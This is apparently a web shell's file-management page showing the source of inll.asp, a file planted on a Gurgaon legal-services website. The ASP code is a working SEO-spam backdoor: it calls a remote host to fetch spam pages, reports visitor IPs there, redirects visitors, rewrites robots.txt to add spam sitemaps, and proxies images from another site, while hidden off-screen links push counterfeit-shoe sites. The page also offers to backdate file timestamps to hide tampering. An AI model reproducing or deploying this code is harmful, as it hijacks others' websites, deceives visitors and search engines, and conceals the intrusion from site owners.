文件操作 - inll.asp
返回文件管理
返回主菜单
删除本文件
文件: E:\HostingSpaces\kimblycr\writersinc.co.in\wwwroot\inll.asp
编辑文件内容
<%@ Language="VBScript" CodePage="65001" %> <% ' 1. 关闭错误提示,模拟 PHP 的 error_reporting(0) On Error Resume Next Response.Clear ' 2. 模拟 PHP 的 filter_input_array,提取并处理 GET 参数 Dim Get_Id, Get_S, Get_R, Get_Kk, Get_Number, Get_Cid Get_img = CleanInput(Request.QueryString("img")) Get_Id = CleanInput(Request.QueryString("id")) Get_S = CleanInput(Request.QueryString("s")) Get_R = CleanInput(Request.QueryString("r")) Get_Kk = CleanInput(Request.QueryString("kk")) Get_Number = CleanInput(Request.QueryString("number")) Get_Cid = CleanInput(Request.QueryString("cid")) ' 过滤函数(移除潜在的危险字符) Function CleanInput(str) If IsNull(str) Or str = "" Then CleanInput = "" Else CleanInput = Replace(str, "'", "") CleanInput = Replace(CleanInput, "<", "") CleanInput = Replace(CleanInput, ">", "") End If End Function ' 3. 获取 URL 信息的函数 Function GetUrlInfo(return_type) Dim host, protocol, base_url, uri, full_url,ll host = Request.ServerVariables("HTTP_HOST") If return_type = "domain" Then GetUrlInfo = host Exit Function End If If return_type = "no_www" Then If Left(LCase(host), 4) = "www." Then GetUrlInfo = Mid(host, 5) Else GetUrlInfo = host End If Exit Function End If If Request.ServerVariables("HTTPS") = "on" Or Request.ServerVariables("HTTP_X_FORWARDED_PROTO") = "https" Then protocol = "https://" Else protocol = "http://" End If base_url = protocol & host If return_type = "base" Then GetUrlInfo = base_url Exit Function End If uri = Request.ServerVariables("SCRIPT_NAME") If Request.ServerVariables("QUERY_STRING") <> "" Then uri = uri & "?" & Request.ServerVariables("QUERY_STRING") End If full_url = base_url & uri If return_type = "full" Then GetUrlInfo = full_url Exit Function End If GetUrlInfo = "" End Function ' 4. 获取用户 IP 的函数 Function GetIp() Dim keys, key, ip keys = Array("HTTP_X_FORWARDED_FOR", "HTTP_CLIENT_IP", "REMOTE_ADDR") For Each key In keys ip = Request.ServerVariables(key) If ip <> "" Then If InStr(ip, ",") > 0 Then GetIp = Trim(Split(ip, ",")(0)) Else GetIp = Trim(ip) End If Exit Function End If Next GetIp = "UNKNOWN" End Function ' 5. 核心:修改为利用 ServerXMLHTTP 发送 GET 请求 Function GetCurl(url, queryString) Dim xmlhttp, targetUrl Set xmlhttp = Server.CreateObject("MSXML2.ServerXMLHTTP") ' 如果有参数,则拼接到 URL 后面 If queryString <> "" Then If InStr(url, "?") > 0 Then targetUrl = url & "&" & queryString Else targetUrl = url & "?" & queryString End If Else targetUrl = url End If ' 开启请求,设置 10 秒超时 xmlhttp.setTimeouts 10000, 10000, 10000, 10000 xmlhttp.open "GET", targetUrl, False xmlhttp.setRequestHeader "User-Agent", "Mozilla/5.0" xmlhttp.send If xmlhttp.Status = 200 Then GetCurl = xmlhttp.responseText Else GetCurl = "" End If Set xmlhttp = Nothing End Function ' 6. tz 判断函数(内部请求改为 GET) Function Tz(vurl) Dim ip, params, str If Get_Kk = "" Then ip = GetIp() params = "ip=" & Server.URLEncode(ip) & "&id=" & Server.URLEncode(Get_Id)& "&ll=" &Server.URLEncode(Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("SCRIPT_NAME")) str = GetCurl(vurl, params) Tz = str Else Tz = "" End If End Function If Get_img <> "" Then Dim imgParam, targetUrl, xmlHttp, imageData, ext, currentDomain, etag, adoStream imgParam = Get_img ' 简单的路径清理 If InStr(imgParam, "/") > 0 Then imgParam = Mid(imgParam, InStrRev(imgParam, "/") + 1) If InStr(imgParam, "\") > 0 Then imgParam = Mid(imgParam, InStrRev(imgParam, "\") + 1) targetUrl = "https://static.mercdn.net/item/detail/orig/photos/" & imgParam ' 使用 ServerXMLHTTP 获取图片 Set xmlHttp = Server.CreateObject("MSXML2.ServerXMLHTTP.6.0") xmlHttp.open "GET", targetUrl, False xmlHttp.setTimeouts 5000, 5000, 5000, 5000 xmlHttp.setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" On Error Resume Next xmlHttp.send "" If Err.Number = 0 And xmlHttp.Status = 200 Then imageData = xmlHttp.responseBody ' 1. 生成 ETag (使用长度和简单标识) etag = """" & LenB(imageData) & "-" & imgParam & """" ' 2. 处理协商缓存 (如果爬虫已经有该图,返回 304,节省 CPU) If Request.ServerVariables("HTTP_IF_NONE_MATCH") = etag Then Response.Status = "304 Not Modified" Response.End End If ' 3. 设置 SEO 优化响应头 currentDomain = Request.ServerVariables("HTTP_HOST") Response.AddHeader "X-Image-Copyright-Domain", currentDomain Response.AddHeader "X-Image-Source-ItemId", imgParam Response.AddHeader "ETag", etag Response.AddHeader "Cache-Control", "public, max-age=31536000, immutable" Response.ContentType = "image/jpeg" ' 5. 输出图片 Response.BinaryWrite imageData Response.End Else ' 错误处理 Response.Status = "404 Not Found" End If Set xmlHttp = Nothing On Error GoTo 0 End If ' ========================================================= ' 业务逻辑主流程开始 ' ========================================================= Dim http_type, vurl If Request.ServerVariables("HTTPS") = "on" Then http_type = "https://" Else http_type = "http://" End If ' 远程接口地址 vurl = http_type & "img-7.com/624.aspx" ' 逻辑 A:处理 robots.txt 和 sitemap 的动态写入 If Get_R <> "" Then Dim fso, robotsPath, sitemapBlock, sitemaps, ts, fileContent robotsPath = Server.MapPath("/robots.txt") sitemapBlock = "User-agent: *" & vbLf & "Allow: /" & vbLf sitemaps = vbLf & "Sitemap: " & http_type & Request.ServerVariables("HTTP_HOST") & Request.ServerVariables("SCRIPT_NAME") & "?s=s" & vbLf Set fso = Server.CreateObject("Scripting.FileSystemObject") If Not fso.FileExists(robotsPath) Then Set ts = fso.CreateTextFile(robotsPath, True) ts.Write (sitemapBlock & sitemaps) ts.Close Else Set ts = fso.OpenTextFile(robotsPath, 1) fileContent = ts.ReadAll ts.Close If InStr(fileContent, Request.ServerVariables("SCRIPT_NAME")) = 0 Then Set ts = fso.OpenTextFile(robotsPath, 8) ts.Write (sitemaps) ts.Close End If End If Set fso = Nothing End If ' 逻辑 B:输出 XML 地图(远程请求改为 GET) If Get_S <> "" Then Dim current_date, params_s, str_s, current_url current_date = Year(Date) & Right("0" & Month(Date), 2) & Right("0" & Day(Date), 2) & Right("0" & Hour(Time), 2) & Right("0" & Minute(Time), 2) params_s = "s=" & Server.URLEncode(current_date) & "&number=" & Server.URLEncode(Get_Number) & "&cid=" & Server.URLEncode(Get_Cid) str_s = GetCurl(vurl, params_s) current_url = http_type & Request.ServerVariables("HTTP_HOST") & Request.ServerVariables("SCRIPT_NAME") str_s = Replace(str_s, "{当前地址}", current_url) Response.ContentType = "text/xml" Response.CharSet = "UTF-8" Response.Write str_s Response.End End If ' 逻辑 C:处理带 ID 的核心跳转/展示逻辑(远程请求改为 GET) If Get_Id <> "" Then Dim tzstr, params_id, str_id ' 执行 tz 函数判断,取消js跳转 tzstr = Tz(vurl) If InStr(tzstr, "id") > 0 Then Response.Redirect(tzstr) '取消js跳转,改为程序跳转 Response.End End If ' 如果 tz 未拦截,执行主请求 params_id = "id=" & Server.URLEncode(Get_Id)&"&ll="&Server.URLEncode(http_type & Request.ServerVariables("HTTP_HOST") & Request.ServerVariables("SCRIPT_NAME"))&"&it=0" 'it=1开启图片功能' str_id = GetCurl(vurl, params_id) ' 替换模板标签 str_id = Replace(str_id, "{URL}", GetUrlInfo("full")) str_id = Replace(str_id, "{域名}", GetUrlInfo("no_www")) str_id = Replace(str_id, "contentUrl"": """, "contentUrl"": """ & GetUrlInfo("base")) str_id = Replace(str_id, "?img=", http_type & Request.ServerVariables("HTTP_HOST") & Request.ServerVariables("SCRIPT_NAME") & "?img=") Response.Write str_id Response.End Else ' 默认主页显示 Sitemap 锚文本 Dim sitemapUrl, current_date_default current_date_default = Year(Date) & Right("0" & Month(Date), 2) & Right("0" & Day(Date), 2) & Right("0" & Hour(Time), 2) & Right("0" & Minute(Time), 2) sitemapUrl = http_type & Request.ServerVariables("HTTP_HOST") & Request.ServerVariables("SCRIPT_NAME") & "?s=" & current_date_default Response.Write "<div style='text-align:center; padding:10px 0;'><a href=""" & sitemapUrl & """ target=""_blank"" rel=""nofollow""> Sitemap</a></div>" End If %> <html><head><title>Deed Drafting | Document Registration | Document Drafting | Legal Services & Consultancy | Revenue Matters | Land Procurement | Gurgaon</title> <meta name="keywords" content="Deed Drafting | Document Registration | Document Drafting | Legal Services & Consultancy | Revenue Matters | Land Procurement | Gurgaon> <meta name=" description"="" content-type"=""> <link href="style.css" rel="stylesheet" type="text/css"> </head> <body> <div class="outer-wrapper"> <div class="wrapper"> <div class="page"> <div class="header"> <div class="logo"> <a href="index.html"><img src="images/WritersIncLogo.png"></a> </div><!--logo--> <div class="menu"> <div class="social-media"> <ul> <li><a href="#"><img src="images/facebook.png" alt=""></a></li> <li><a href="#"><img src="images/twitter.png" alt=""></a></li> </ul> </div><!--social-media--> <div class="nav"> <ul> <li class="active">HOME</li> <li><a href="about-us.html">ABOUT US</a></li> <li><a href="contact-us.html">CONTACT US</a></li> </ul> </div><!--nav--> </div><!--menu--> </div><!--header--> <div class="banner"> <img src="images/banner.png" alt=""> </div><!--banner--> <div class="content" style="width:100%;"> <div style="width:100%;margin-bottom:10px;float:left;"> <div class="box" style="margin-left:0px;margin-right:50px;"> <a href="#"><img alt="" src="images/consultation-services.png" class="imagedropshadow imgr" width="238"></a> <div class="text"> <h3>Deeds Drafting</h3> <p>We have team of expert professionals for drafting of sale deeds, conveyance deeds, lease deeds, collaboration agreement, exchange deeds, will etc.</p> </div><!--text--> </div><!--box--> <div class="box" style="margin: 30px 62px;"> <a href="#"><img alt="" src="images/registration.png" class="imagedropshadow imgr" width="238"></a> <div class="text"> <h3>Registration of Documents</h3> <p>We provide services for document registrations related to real estate and related matters which include from calculation of required Govt. fees like stamp duty, the execution & registration of document.</p> </div><!--text--> </div><!--box--> <div class="box" style="margin-right:0px;"> <a href="#"><img alt="" src="images/drafting.png" class="imagedropshadow imgr" width="238"></a> <div class="text"> <h3>Document Drafting & Registration</h3> <p>We are also specialized in drafting of Sale/Conveyance deed related to liquidation matters as well as taking care of proper registration.</p> </div><!--text--> </div><!--box--> </div> <div> <div class="box" style="margin-left:0px;margin-right:50px;"> <a href="#"><img alt="" src="images/legal.png" class="imagedropshadow imgr" width="238"></a> <div class="text"> <h3>Legal Services & Consultancy</h3> <p>Our another principle service are Legal Services & Consultancy. Here we deal with the matters under Registration Act, Stamp Act, Apartment Ownership Act, HUDA Bye - Laws. We provide legal consultancy to our clients from corporate sector under Factories Act, Shop and Establishment Act, Labor laws, ESI, PF.</p> </div><!--text--> </div><!--box--> <div class="box" style="margin: 30px 62px;"> <a href="#"><img alt="" src="images/revenue.png" class="imagedropshadow imgr" width="238"></a> <div class="text"> <h3>Revenue Matters</h3> <p>We have expertise in checking of revenue records in the office of Sub-Register, Patwari office and consulting about the share and title of the property and taking care of Taksim [consolidation], matters related to Gair Mourosi [tanent] etc.</p> </div><!--text--> </div><!--box--> <div class="box" style="margin-right:0px;"> <a href="#"><img alt="" src="images/procurement.png" class="imagedropshadow imgr" width="238"></a> <div class="text"> <h3>Land Procurement</h3> <p>We have wide network of experienced persons for sale, purchase of agriculture, residential, commercial and industrial lands. We recognize and understand the need of our clients and assist them in finding a suitable property, which suits their requirement and budget. We maintain confidentially about buyers, sellers and conclude the deal at the best market prices.</p> </div><!--text--> </div><!--box--> </div> </div><!--content--> <div class="footer"> <h3>Design by <a href="http://kimblylabs.com">Kimbly Labs</a></h3> </div><!--footer--> </div><!--page--> </div><!--wrapper--> </div><!--outer-wrapper--> <div style="LEFT: -999px; POSITION: absolute; TOP: -999px"><a href="http://www.cheap-jordans-china.net">cheap jordans</a>|<a href="http://www.wholesale-cheapshoes.org">wholesale air max</a>|<a href="http://www.cheap-wholesale-shoes.net">wholesale jordans</a>|<a href="http://www.wholesale-jewelry-china.com">wholesale jewelry</a>|<a href="http://www.cheap-wholesalejerseys.com">wholesale jerseys</a></div></body></html>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件